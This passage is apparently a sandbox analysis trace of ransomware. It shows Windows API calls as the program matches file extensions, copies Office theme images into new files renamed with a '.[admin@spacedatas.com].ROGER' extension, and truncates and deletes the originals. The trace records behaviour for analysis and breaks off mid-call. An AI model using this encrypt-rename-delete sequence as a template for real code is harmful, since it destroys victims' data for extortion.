lstrlenW (lpString=".doc") returned 4 [0049.003] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0049.003] lstrlenW (lpString=".docx") returned 5 [0049.003] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0049.003] lstrlenW (lpString=".pdf") returned 4 [0049.003] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0049.003] lstrlenW (lpString=".xls") returned 4 [0049.003] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0049.003] lstrlenW (lpString=".xlsx") returned 5 [0049.004] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0049.004] lstrlenW (lpString=".ppt") returned 4 [0049.004] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0049.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0049.004] lstrlenW (lpString=".zip") returned 4 [0049.004] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0049.004] lstrlenW (lpString=".rar") returned 4 [0049.004] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0049.004] lstrlenW (lpString=".bz2") returned 4 [0049.004] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0049.004] lstrlenW (lpString=".7z") returned 3 [0049.004] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0049.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0049.004] lstrlenW (lpString=".dbf") returned 4 [0049.004] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0049.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0049.004] lstrlenW (lpString=".1cd") returned 4 [0049.004] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0049.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0049.004] lstrlenW (lpString=".jpg") returned 4 [0049.004] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0049.004] lstrcmpiW (lpString1=".GIF", lpString2=".ROGER") returned -1 [0049.004] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0049.004] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0049.005] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x3e7ff1c | out: lpFileSize=0x3e7ff1c*=4100) returned 1 [0049.005] CloseHandle (hObject=0x390) returned 1 [0049.005] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif")) returned 0x20 [0049.005] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0049.005] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0049.005] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.005] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.005] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0049.007] GetLastError () returned 0x0 [0049.007] ReadFile (in: hFile=0x390, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x1004, lpOverlapped=0x0) returned 1 [0049.008] WriteFile (in: hFile=0x3ac, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0x1010, lpOverlapped=0x0) returned 1 [0049.009] ReadFile (in: hFile=0x390, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.009] WriteFile (in: hFile=0x3ac, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xea, lpOverlapped=0x0) returned 1 [0049.009] SetEndOfFile (hFile=0x3ac) returned 1 [0049.011] CloseHandle (hObject=0x3ac) returned 1 [0049.011] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.011] SetEndOfFile (hFile=0x390) returned 1 [0049.012] CloseHandle (hObject=0x390) returned 1 [0049.012] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0049.012] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif")) returned 1 [0049.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0049.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0049.012] lstrlenW (lpString=".doc") returned 4 [0049.012] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0049.012] lstrlenW (lpString=".docx") returned 5 [0049.012] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0049.013] lstrlenW (lpString=".pdf") returned 4 [0049.013] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0049.013] lstrlenW (lpString=".xls") returned 4 [0049.013] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0049.013] lstrlenW (lpString=".xlsx") returned 5 [0049.013] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0049.013] lstrlenW (lpString=".ppt") returned 4 [0049.013] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0049.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0049.013] lstrlenW (lpString=".zip") returned 4 [0049.013] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0049.013] lstrlenW (lpString=".rar") returned 4 [0049.013] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0049.013] lstrlenW (lpString=".bz2") returned 4 [0049.013] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0049.013] lstrlenW (lpString=".7z") returned 3 [0049.013] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0049.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0049.013] lstrlenW (lpString=".dbf") returned 4 [0049.013] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0049.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0049.013] lstrlenW (lpString=".1cd") returned 4 [0049.013] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0049.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0049.013] lstrlenW (lpString=".jpg") returned 4 [0049.013] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0049.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0049.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0049.013] lstrlenW (lpString=".doc") returned 4 [0049.013] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0049.013] lstrlenW (lpString=".docx") returned 5 [0049.014] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0049.014] lstrlenW (lpString=".pdf") returned 4 [0049.014] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0049.014] lstrlenW (lpString=".xls") returned 4 [0049.014] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0049.014] lstrlenW (lpString=".xlsx") returned 5 [0049.014] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0049.014] lstrlenW (lpString=".ppt") returned 4 [0049.014] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0049.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0049.014] lstrlenW (lpString=".zip") returned 4 [0049.014] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0049.014] lstrlenW (lpString=".rar") returned 4 [0049.014] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0049.014] lstrlenW (lpString=".bz2") returned 4 [0049.014] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0049.014] lstrlenW (lpString=".7z") returned 3 [0049.014] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0049.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0049.014] lstrlenW (lpString=".dbf") returned 4 [0049.014] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0049.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0049.014] lstrlenW (lpString=".1cd") returned 4 [0049.014] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0049.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0049.014] lstrlenW (lpString=".jpg") returned 4 [0049.014] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0049.014] lstrcmpiW (lpString1=".PNG", lpString2=".ROGER") returned -1 [0049.015] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0049.015] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0049.015] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x3e7ff1c | out: lpFileSize=0x3e7ff1c*=47962) returned 1 [0049.015] CloseHandle (hObject=0x390) returned 1 [0049.015] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png")) returned 0x20 [0049.015] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0049.015] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0049.015] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.015] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.015] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0049.016] GetLastError () returned 0x0 [0049.016] ReadFile (in: hFile=0x390, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0xbb5a, lpOverlapped=0x0) returned 1 [0049.130] WriteFile (in: hFile=0x3ac, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xbb60, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xbb60, lpOverlapped=0x0) returned 1 [0049.132] ReadFile (in: hFile=0x390, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.132] WriteFile (in: hFile=0x3ac, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0049.132] SetEndOfFile (hFile=0x3ac) returned 1 [0049.132] CloseHandle (hObject=0x3ac) returned 1 [0049.132] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.132] SetEndOfFile (hFile=0x390) returned 1 [0049.133] CloseHandle (hObject=0x390) returned 1 [0049.133] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0049.133] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png")) returned 1 [0049.134] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0049.134] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0049.134] lstrlenW (lpString=".doc") returned 4 [0049.134] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0049.134] lstrlenW (lpString=".docx") returned 5 [0049.134] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0049.134] lstrlenW (lpString=".pdf") returned 4 [0049.134] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0049.134] lstrlenW (lpString=".xls") returned 4 [0049.134] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0049.134] lstrlenW (lpString=".xlsx") returned 5 [0049.134] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0049.134] lstrlenW (lpString=".ppt") returned 4 [0049.134] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0049.134] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0049.134] lstrlenW (lpString=".zip") returned 4 [0049.134] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0049.134] lstrlenW (lpString=".rar") returned 4 [0049.134] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0049.134] lstrlenW (lpString=".bz2") returned 4 [0049.134] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0049.134] lstrlenW (lpString=".7z") returned 3 [0049.134] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0049.134] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0049.134] lstrlenW (lpString=".dbf") returned 4 [0049.134] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0049.134] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0049.134] lstrlenW (lpString=".1cd") returned 4 [0049.134] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0049.135] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0049.135] lstrlenW (lpString=".jpg") returned 4 [0049.135] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0049.135] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0049.135] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0049.135] lstrlenW (lpString=".doc") returned 4 [0049.135] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0049.135] lstrlenW (lpString=".docx") returned 5 [0049.135] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0049.135] lstrlenW (lpString=".pdf") returned 4 [0049.135] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0049.135] lstrlenW (lpString=".xls") returned 4 [0049.135] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0049.135] lstrlenW (lpString=".xlsx") returned 5 [0049.135] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0049.135] lstrlenW (lpString=".ppt") returned 4 [0049.135] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0049.135] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0049.135] lstrlenW (lpString=".zip") returned 4 [0049.135] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0049.135] lstrlenW (lpString=".rar") returned 4 [0049.135] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0049.135] lstrlenW (lpString=".bz2") returned 4 [0049.135] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0049.135] lstrlenW (lpString=".7z") returned 3 [0049.135] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0049.135] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0049.135] lstrlenW (lpString=".dbf") returned 4 [0049.135] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0049.135] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0049.135] lstrlenW (lpString=".1cd") returned 4 [0049.135] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0049.136] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0049.136] lstrlenW (lpString=".jpg") returned 4 [0049.136] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0049.136] lstrcmpiW (lpString1=".PNG", lpString2=".ROGER") returned -1 [0049.136] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0049.136] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0049.805] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x3e7ff1c | out: lpFileSize=0x3e7ff1c*=27177) returned 1 [0049.805] CloseHandle (hObject=0x36c) returned 1 [0049.805] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png")) returned 0x20 [0049.805] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0049.805] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0049.805] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.805] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.805] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0049.806] GetLastError () returned 0x0 [0049.806] ReadFile (in: hFile=0x36c, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x6a29, lpOverlapped=0x0) returned 1 [0049.807] WriteFile (in: hFile=0x3e8, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0x6a30, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0x6a30, lpOverlapped=0x0) returned 1 [0049.808] ReadFile (in: hFile=0x36c, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.808] WriteFile (in: hFile=0x3e8, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0049.809] SetEndOfFile (hFile=0x3e8) returned 1 [0049.809] CloseHandle (hObject=0x3e8) returned 1 [0049.809] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.809] SetEndOfFile (hFile=0x36c) returned 1 [0049.810] CloseHandle (hObject=0x36c) returned 1 [0049.810] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0049.810] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png")) returned 1 [0049.810] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0049.810] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0049.810] lstrlenW (lpString=".doc") returned 4 [0049.810] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0049.810] lstrlenW (lpString=".docx") returned 5 [0049.810] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0049.810] lstrlenW (lpString=".pdf") returned 4 [0049.810] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0049.810] lstrlenW (lpString=".xls") returned 4 [0049.810] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0049.810] lstrlenW (lpString=".xlsx") returned 5 [0049.810] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0049.810] lstrlenW (lpString=".ppt") returned 4 [0049.811] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0049.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0049.811] lstrlenW (lpString=".zip") returned 4 [0049.811] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0049.811] lstrlenW (lpString=".rar") returned 4 [0049.811] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0049.811] lstrlenW (lpString=".bz2") returned 4 [0049.811] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0049.811] lstrlenW (lpString=".7z") returned 3 [0049.811] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0049.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0049.811] lstrlenW (lpString=".dbf") returned 4 [0049.811] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0049.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0049.811] lstrlenW (lpString=".1cd") returned 4 [0049.811] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0049.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0049.811] lstrlenW (lpString=".jpg") returned 4 [0049.811] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0049.811] lstrlenW 